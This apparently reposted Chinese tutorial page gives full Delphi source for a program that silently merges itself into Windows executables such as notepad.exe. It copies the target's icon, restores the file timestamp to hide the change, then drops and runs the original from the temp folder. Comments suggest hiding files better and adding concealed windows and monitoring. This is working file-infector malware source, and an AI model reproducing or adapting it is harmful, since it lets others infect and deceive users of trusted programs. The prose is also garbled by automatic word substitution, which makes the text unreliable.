设为主页 | 加入收藏 | 繁體中文

捆绑执行文件新思维

  {最新功效:与别的步伐捆绑后,图标为别的步伐的图标  
  这个树模步伐没有form,编译、紧缩后仅40K,运转后不长驻内存  
  要是加上隐蔽的窗体,加上搜索可执行步伐的功效,加上监督体系的功效,加上 %$#@*^ 功效...  
  步伐中几个数字简直定:  
  1 在本步伐编译后用Aspack.Exe紧缩,大小为41472  
  2 经过分析,本步伐在用Aspack.Exe紧缩后,图标后面部门长40751,图标数据  
  位于从第40752字节开始共640字节,图标后还有81字节  
  与别的步伐捆绑的历程:  
  本步伐的前40751字节+被捆绑步伐的图标+本步伐末了81字节+被捆绑步伐全部  
  怎么找到图标的位置:  
  将步伐的图标设定为一个32*32的红色块,在步伐经过编译、紧缩后,用十六进制  
  编辑软件载入,查找“99 99 99”字符串即可。当前你可为步伐加上别的合适的图标。  
  十六进制编辑软件:常用UltraEdit。  
  本人嫌它有日限期制,自编了一个,有十六进制编辑、比较、查找功效,并在不停完善中,对付几百K的文件没题目:  
  http://guanbh.top263.net/download/hexedit.exe  
  }  
  program exe2;  
  uses  
  classes,  
  Tlhelp32,  
  windows,  
  graphics,  
  ShellAPI,  
  SysUtils;  
  {$R *.RES}  
  var  
  lppe:TProcessEntry32;  
  found:boolean;  
  handle:THandle;  
  ProcessStr,ExeName:string;  
  WinDir:pchar;  
  const  
  MySize=41472; {!!这个值要根据编译或紧缩后的文件大小举行修正!!}  
  procedure copy2(s:string);  
  var  
  s1,s2,IcoStream:TMemoryStream;  
  File2:TFilestream;  
  ch:array[0..1] of char;  
  ss:string;  
  filetime,fhandle:integer;  
  l:integer;  
  File2Icon:Ticon;  
  begin  
  {若文件s不存在}  
  if FileExists(s)=False then exit;  
  try  
  {若文件不含图标,就不捆绑}  
  File2Icon:=Ticon.Create;  
  l:=extracticon(handle,pchar(s),0);  
  if l=0 then  
  begin  
  File2Icon.Free;  
  exit;  
  end  
  else  
  begin  
  {提取被捆绑步伐图标}  
  File2Icon.Handle:=extracticon(handle,pchar(s),0);  
  IcoStream:=TMemoryStream.Create;  
  File2Icon.SaveToStream(IcoStream);  
  File2Icon.Free;  
  end;  
  {果断文件s中有没有第2个步伐头’MZ’。如有,表示已经归并过}  
  File2:=TFilestream.Create(s,fmopenread);  
  if File2.Size>MySize then  
  begin  
  File2.Position:=MySize;  
  File2.Read(ch,2);  
  ss:=copy(ch,1,2);  
  if ss=’MZ’ then  
  begin  
  File2.Free;  
  exit;  
  end;  
  end;  
  File2.Free;  
  {将本文件与文件s归并 本文件+s=s}  
  s2:=TMemoryStream.Create;  
  s2.loadfromfile(ExeName);  
  s1:=TMemoryStream.Create;  
  { 加入本步伐的前部40751字节  
  第40752字节开始共640字节为图标数据  
  !!以下数字 40751,81要根据现实情况修正!! }  
  s1.copyfrom(s2,40751);  
  {将图标换为被捆绑步伐图标,图标大小为766}  
  IcoStream.Position:=126;  
  s1.CopyFrom(IcoStream,640);  
  IcoStream.Free;  
  s2.Position:=40751+640;  
  {加入本步伐的后部81字节}  
  s1.CopyFrom(s2,81);  
  s2.clear;  
  s2.loadfromfile(s);  
  s1.seek(s1.size,soFromBeginning);  
  {加入被捆绑步伐全部}  
  s1.copyfrom(s2,s2.size);  
  s2.free;  
  {失掉文件s的日期}  
  fhandle:=FileOpen(s, fmOpenread);  
  filetime:=filegetdate(fhandle);  
  fileclose(fhandle);  
  s1.SaveToFile(s);  
  {规复文件s的日期}  
  fhandle:=FileOpen(s, fmOpenwrite);  
  filesetdate(fhandle,filetime);  
  fileclose(fhandle);  
  s1.free;  
  except end;  
  end;  
  procedure CreateFileAndRun;  
  var  
  s1,s2:TMemoryStream;  
  TempDir:pchar;  
  cmdstr:string;  
  a:integer;  
  Begin  
  s1:=TMemoryStream.Create;  
  s1.loadfromfile(ExeName);  
  if s1.Size=MySize then  
  begin  
  s1.Free;  
  exit;  
  end;  
  s1.seek(MySize,soFromBeginning);  
  s2:=TMemoryStream.Create;  
  s2.copyfrom(s1,s1.Size-MySize);  
  GetMem(TempDir,255);  
  GetTempPath(255,TempDir);  
  try  
  { 把文件释放到临时目次。  
  要是你不想让人看到在这个目次下释放了一堆文件,可改为别的更潜伏的目次,  
  如 c:\windows(or winnt)\d...(☆这是个什么目次?你去研讨研讨吧!☆) }  
  s2.SaveToFile(TempDir+’\’+ExtractFileName(ExeName));  
  except end;  
  cmdstr:=’’;  
  a:=1;  
  while ParamStr(a)<>’’ do begin  
  cmdstr:=cmdstr+ParamStr(a)+’ ’;  
  inc(a);  
  end;  
  {运转真正的步伐文件}  
  winexec(pchar(TempDir+’\’+ExtractFileName(ExeName)+’ ’+cmdstr),SW_SHOW);  
  freemem(TempDir);  
  s2.free;  
  s1.free;  
  end;  
  begin  
  GetMem(WinDir,255);  
  GetWindowsDirectory(WinDir,255);  
  ExeName:=ParamStr(0);  
  handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);  
  found:=Process32First(handle,lppe);  
  ProcessStr:=’’;  
  while found do  
  begin  
  ProcessStr:=ProcessStr+lppe.szExeFile;{列出全部进程}  
  found:=Process32Next(handle,lppe);  
  end;  
  {要是notepad没运转,就与它捆在一同}  
  if pos(WinDir+’\notepad.exe’,ProcessStr)=0 then  
  begin  
  copy2(WinDir+’\notepad.exe’);  
  end;  
  {别的必要捆绑的文件  
  if pos(...,ProcessStr)=0 then  
  begin  
  copy2(...);  
  end;  
  ... }  
  freemem(WinDir);  
  { 你想用这个步伐干点别的的什么... }  
  CreateFileAndRun;{释放文件并带参数运转}  
  end.
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: